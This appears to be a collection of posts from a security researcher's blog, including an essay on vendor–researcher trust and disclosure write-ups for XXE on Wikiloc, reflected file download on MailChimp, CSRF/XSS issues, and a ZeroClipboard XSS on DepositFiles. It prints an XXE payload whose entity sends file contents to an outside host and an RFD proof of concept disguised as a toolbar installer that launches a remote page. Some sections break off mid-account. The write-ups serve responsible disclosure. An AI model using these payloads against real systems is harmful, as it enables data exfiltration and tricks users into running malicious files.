I asked for full-disclosure of this reports so other users can learn something from it.
The OLX security report was also mentioned on a portuguese media site- Future Behind. If you know portuguese language feel free to read it.
Yesterday I was exchanging some messages on Twitter – specially with Kymberlee Price (from BugCrowd) – about the relationship between vendors and security researchers when disclosing a security issue.
In my experience I know what’s the feeling of trying to help a vendor and they ignore you or in some extreme cases even “inviting” you to stop what you are doing on their website. Vendors need to understand that most security researchers are here to help – working in the same side against bad guys. The problem in this connection is trust.
Vendors don’t trust researchers.
Researchers are loosing trust on vendors. We need to fix it.
I had a bad experience with lots of big IT companies. Specially the ones I usually use on their products. I don’t go around companies and test vulnerabilities like crazy. I just like to feel more secure when using some web application.
In my opinion these are the main issues:
Lack of information on where to report a security issue
Security report gets lost in their support system
The vendor don’t reply back or just say it will be forward to the developing team
Vendor don’t update the security status
Researcher could even get threatened about the report
But not all vendors are like that. I already tried different approaches who seemed to work.
Email the vendor giving them a small presentation telling who you are and ask for the right person to deal with a security threat
After you got the email, try to schedule a online chat or even Skype meeting to establish some kind of trust between both parts.
Talk about that you found, the consequences and a possible solution.
If you manage to do all this I bet the treatment in the future will be better for you and for future researchers who try to contact them.
You as a researcher have the responsibility to prepare the path and improve the communication between vendors.
Don’t give them hell! Give them trust!
Even on bug bounty programs you have issues. Vendors who reply to your report in 1 year without even worrying about getting the researcher a feedback like:
We’re working on it. It will take some time, maybe weeks or months…
Even yesterday – Sean Mealia wrote on his Twitter that Uber changed their in-scope program after he sent a couple of security issues.
It also happened to me in a private program for a popular online newspaper. I reported a security issue where a attacker could steal users information and they categorized as “Informative” and fixed it in a couple of days.
This type of situations are not good for the business. Vendors must respect the researchers and visa-versa.
Well this are my thoughts about this, feel free to share yours in the comments section.
Wikiloc is a place to discover and share the best outdoor trails for hiking, cycling and many other activities.
We are 1,725,606 members exploring and sharing 3,936,841 outdoor trails and 6,503,289 photos.
I was searching for a cool track to ride my bike [yes I love #cycling] and I created an account on Wikiloc.
I already known the site but never registered. Such a cool site in my opinion.
As a security researcher I always take a look on the web applications requests and transactions and after uploading a XML I remember to test Wikiloc for a XXE vulnerability. This is a very dangerous type of vulnerability and could be used by malicious users to compromise the server.
So let me explain what I did:
First I downloaded a .gpx file from Wikiloc to see the structure of the XML.
I injected the following line on top of the file:
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://www.davidsopas.com/XXE" > ]>;
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://www.davidsopas.com/XXE?%file;'>">
I uploaded the new .gpx file and got the following GET request on my server:
184.108.40.206 GET /XXE/?Debian 10/29/15 1:12 PM Java/1.7.0_51
With XXE you can do a variaty of things. A malicious user could upload files, check source-code, launch DDoS attacks, you name it.
This issue its already fixed by Wikiloc. They were very fast and concerned about this. It’s shows that they care about security.
Also they provided me with a token of appreciation (they know exactly how to please a cyclist 🙂 ) and also put my name on their contributors list.
Because list-manage.com is not URL permissive I needed to use a external page to create my proof-of-concept:
<a href="http://[mailchimp_client].us5.list-manage.com/subscribe/post-json?u=41352a29fd45def27e8aea4cd&id=91d16923d8&c=start%20chrome%20davidsopas.com/poc/malware.htm||" download="setup.bat" onclick="return false;"><img src="https://hfweb-assets.s3.amazonaws.com/integrations/mailchimp.png" border="0" /></a>
<h1>Install MailChimp toolbar to improve your email send score!</h1>
<p><i>(Use "Save Link As" to download the file)</i></p>
So a possible attack scenario would be:
Victim visits a page with a specially crafted page – like my PoC
Victim downloads the file using Save Link As (which comes from a trusted domain – list-manage.com)
Victim gets hijacked
Because the download comes from a trusted domain, victims are tricked to execute files that are not suppose to.
This works perfectly on latest versions of Google Chrome and Opera.
MailChimp considered this issue to be a social engineering attack so they’ll not fix it.
In my opinion this is something that this company could prevent from happening just by adding a header to their request. In the end it’s a MailChimp decision not mine.
When I requested the disclosure of this report MailChimp replied:
We neither condone nor prohibit you from adding this to your security blog.
Hope it helps other companies and security researchers to better understand RFD…
If a authenticated admin visited this page with this HTML code his settings will be changed.
#3 Add a question using CSRF and get a persistent XSS
This was a critical issue. If a authenticated admin visited a page with this HTML he would add a question with a XSS vector (in my proof-of-concept would prompt a text).
A malicious user could use this to spread a malware, admin takeover, etc…
Workable is affordable, usable hiring software. It replaces email and spreadsheets with an applicant tracking system that your team will actually enjoy using. From building a branded careers page, to posting ads to multiple job boards Workable makes it simple. Browse rich profiles of your candidates and work effectively with your hiring team on a platform that keeps your notes, communication, schedule, comments and analytics in one place. It’s everything you need to hire better.
I first noticed this Reflected File Download when auditing a private program at Cobalt.io.
When entering Workable.com I noticed a XHR request on my Google Inspector: workable.com/api/accounts/8012?origin=embed which returned the following information:
DepositFiles is a file storage website and one of the most popular ones. They’re online since 2005 and recently they start using dfiles.eu domain instead of the depositfiles.com. They allow free accounts but they also have membership fees.
When searching Google for a old depositfiles mirror I found a bogus ZeroClipboard version that reflected in a flash-based XSS.
This vulnerability in ZeroClipboard is well-known since 2012 – so pretty old issue laying around in this popular file storage site.
With these attack, malicious users could hijack users accounts, phishing, malware redirections and a lot more.
I guess this file was lost in their static.dfiles.eu webserver. Sometimes these old vulnerable files can cause a breach on security. So if you are a security administrator or webdeveloper don’t forget to clean up any unused/outdated files.
09-11-2015 I sent the security report to DepositFiles
10-11-2015 DepositFiles replied that they forwarded the message to the manager
17-11-2015 I tested again my PoC and stop working because the file was removed. I requested an update from DepositFiles
23-11-2015 No reply was given but the vulnerable file was deleted so… full disclosure